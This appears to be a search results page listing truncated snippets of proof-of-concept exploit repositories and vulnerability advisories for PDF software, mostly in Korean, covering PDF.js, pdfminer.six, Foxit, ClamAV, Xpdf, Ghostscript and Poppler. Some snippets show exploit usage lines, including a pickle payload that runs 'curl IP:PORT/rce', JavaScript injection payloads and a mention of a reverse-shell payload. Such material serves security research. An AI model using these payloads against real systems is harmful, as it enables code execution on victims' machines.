3393 matches found
pdfjs-vuln-demo
PDF.js 취약점 데모 프로젝트 이 프로젝트는 CVE-2024-4367에 보고된 PDF.jspdfjs-dist 라이브러리의 취약점 악용을 시연하기 위한 개념 증명PoC입니다. 실행하기 이 저장소를 포크fork하고 클론clone하세요 npm install npm run dev 테스트해 보기 먼저 http://localhost:4321/로 이동하세요 해당 카드를 클릭하여 테스트하려는 프론트엔드 프레임워크 컴포넌트react, vue, svelte를 선택하세요 샘플 PDF취약점을 악용하지 않는가 로드되는지 확인하세요 /public...
CVE-2025-64512
CVE-2025-64512 pdfminer.six에서 조작된 PDF 입력을 통한 임의 코드 실행 PoC https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp 기반 % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz % python3 mkpdf.py -h usage: mkpdf.py -h -o OUTPUT -p PAT...
CVE-2017-10952
CVE-2017-10952 이것은 Foxit PDF 리더에 대한 로컬 코드 실행 공격의 고급 예제입니다. 이 공격에 대한 자세한 내용은 여기 1에서 확인할 수 있습니다. 1에 링크된 이 취약점에 대한 텍스트 설명을 여기에 복사하여 시간이 지나도 설명이 보존되도록 했습니다. 해당 설명은 vulners.com의 저자 Root가 작성했습니다. Foxit 설치 FoxitReaderv8.3.0.14878.exe를 설치합니다. 설치 과정을 진행합니다. 이는 Foxit PDF 리더의 이 버전을 악용하는 방법에 대한 고급 데모일 뿐이므로,...
CVE-2025-20260-POC
CVE-2025-20260 익스플로잇 이것은 CVE-2025-20260에 대한 개념 증명입니다. 이는 ClamAV 소프트웨어의 PDF 스캔 프로세스에서 발생하는 취약점입니다. 특수하게 조작된 악성 PDF 파일을 전송하면 버퍼 오버플로우를 유발하여 서비스 거부 또는 임의 코드 실행을 초래할 수 있습니다. 이 저장소에는 악성 PDF 파일을 생성하는 Python 스크립트와 안티바이러스가 강제로 종료된 후의 코어 덤프 분석이 모두 포함되어 있습니다...
CVE-2019-13288
CVE-2019-13288 – Xpdf의 Parser::getObj 무한 재귀 개요 CVE-2019-13288 은 Xpdf 버전 4.01.01 에서 발견된 취약점으로, 특히 Parser.cc의 Parser::getObj 함수에 존재합니다. 이 결함은 특수하게 조작된 PDF 파일을 처리할 때 무한 재귀 를 유발하여 서비스 거부DoS 상태를 초래할 수 있습니다. 이 취약점은 CVE-2018-16646 과 유사하며, 재귀 함수에서 강력한 입력 검증의 중요성을 강조합니다. 기술 세부 정보 CVE ID : CVE-2019-13288 영...
cve-2024-4367-poc
PDF.js용 CVE-2024-4367 POC PDF.js의 CVE-2024-4367 취약점에 대한 POC - pdf-modify.py 스크립트를 사용하여 PDF를 수정하고 페이로드를 주입할 수 있습니다. 사용법 1. CVE-2024-4367-POC-base-placeholder.pdf 파일이 작업 디렉터리에 있는지 확인하세요. 2. pdf-modify.py에서 payloadnew 변수의 주석을 해제/수정하세요. 3. python pdf-modify.py를 실행하세요. 인자는 필요 없습니다. 4. 로컬 디렉터리에 타임스탬프...
CVE-2024-4367
CVE-2024-4367 POC 사용법 python poc.py mal.pdf "alert'0x2r2'" 참고 자료 CVE-2024-4367: PDF.js에서 임의 JS 실행 PDF.js POC 스캐너 템플릿...
CVE-2024-4367-POC
CVE-2024-4367 PoC 사용법 python poc.py malicious.pdf "alert'S4vvy'" 참조 CVE-2024-4367: PDF.js에서 임의 JS 실행 PDF.js...
CVE-2025-64512
CVE-2025-64512 – pdfminer.six 역직렬화 PoC 개요 이 개념 증명은 pdfminer.six CVE-2025-64512의 취약점을 시연하며, 악성 PDF가 처리될 때 임의의 명령 실행으로 이어질 수 있습니다. 이 익스플로잇은 악성의 gzip 압축 Python pickle을 참조하는 조작된 PDF를 사용합니다. 취약한 애플리케이션이 PDF를 파싱하면 pickle을 로드하고 포함된 페이로드를 실행합니다. 포함된 PoC는 Python 리버스 셸을 실행하도록 구성되어 있지만, 페이로드는 어떤 명령으로든 대체할 수...
CVE-2025-64512
CVE-2025-64512 — 조작된 PDF를 통한 pdfminer.six 안전하지 않은 역직렬화Pickle ⚠️ 면책 조항: 이 도구는 교육 목적과 승인된 침투 테스트 용도로만 제작되었습니다. 소유하고 있거나 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 허가되지 않은 사용은 불법입니다. Table of Contents 개요 취약점 세부 정보 작동 방식 요구 사항 설치 사용법 예제 완화 조치 크레딧 참고 자료 개요 pdfminer.six 는 PDF 파일에서 텍스트와 메타데이터를 추출하는 널리 사용되는 Python...
CVE-2024-4367-hands-on
!IMPORTANT 이 리포지토리는 취약점을 학습하기 위한 것입니다. 본 핸즈온은 반드시 자신이 관리하는 적절한 컴퓨터에서 진행해 주십시오. 불법 행위는 절대 하지 마십시오. 또한 본 리포지토리로 인해 발생한 일체의 손해·책임을 작성자는 부담하지 않습니다. CVE-2024-4367-hands-on CVE-2024-4367을 체험하는 핸즈온 poc.pdf 만들기 python CVE-2024-4367-PoC/CVE-2024-4367.py "alert'document.domain'" 출처:...
CVE-2015-3073
CVE-2015-3073 이 취약점은 원격 공격자가 취약한 Adobe Reader 설치 환경에서 API 제한을 우회할 수 있도록 합니다. 이 취약점을 악용하려면 사용자 상호작용이 필요하며, 대상자가 악성 페이지를 방문하거나 악성 파일을 열어야 합니다. 구체적인 결함은 AFParseDate에 존재합니다. 특정 JavaScript 명령어를 포함한 특수 제작된 PDF를 생성하면 JavaScript API 제한을 우회할 수 있습니다. 원격 공격자는 이 취약점을 악용하여 임의 코드를 실행할 수 있습니다. Windows 및 OS X에서...
Linux Distros Unpatched Vulnerability : CVE-2026-103000
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - pypdf is a free and open-source pure-python PDF library. Prior to 6.19.0, a crafted PDF can provide unusually large alphabetical page-label values that cause...
CVE-2026-46529
RCE via PDF argv injection CVE-2026-46529 atril/xreader/evince evspawn shell/ev-application.c의 argv 주입에 대한 작동하는 개념 증명입니다. 조작된 PDF의 렌더링된 페이지에서 아무 곳이나 한 번 클릭하면 뷰어를 실행 중인 사용자 권한으로 임의 코드 실행이 트리거됩니다. 이 릴리스는 %f 치환 기법을 사용합니다. dlopen 대상 경로는 런타임에 뷰어 자체가 알아내므로, 공격자는 폴리글로트가 피해자 파일시스템의 어디에 저장되는지 전혀 알 필요가 없습니...
CVE-2026-91793
Foxit PDF Editor/Reader is susceptible to a use-after-free condition when opening a specially crafted PDF . The vulnerability is triggered when the software executes scripts that modify annotation rich-text attributes containing malformed font data . During the subsequent reconstruction of annota...
EUVD-2026-85127
Foxit PDF Editor/Reader's FileOpen plugin did not adequately validate certain encryption metadata in specially crafted PDF files. This could leave an internal pointer in an invalid state, resulting in chained read and write access violations and potentially enabling arbitrary code execution...
Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: python-reportlab (UTSA-2023-002178)
The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-002178 advisory. Reportlab up to v3.6.12 allows attackers to execute arbitrary code via supplying a crafted PDF file. Tenable has extracted the preceding description block directly...
CVE-2026-39919
A flaw was found in Ghostscript. This heap-based buffer overflow vulnerability in the JPEG 2000 output adapter allows an attacker to cause memory corruption by supplying a specially crafted PDF file. The crafted PDF contains a JPEG 2000 image with mismatched component subsampling factors...
UBUNTU-CVE-2026-93653
A denial of service flaw was found in Poppler's Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline...
CVE-2026-93653
A denial of service flaw was found in Poppler's Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline...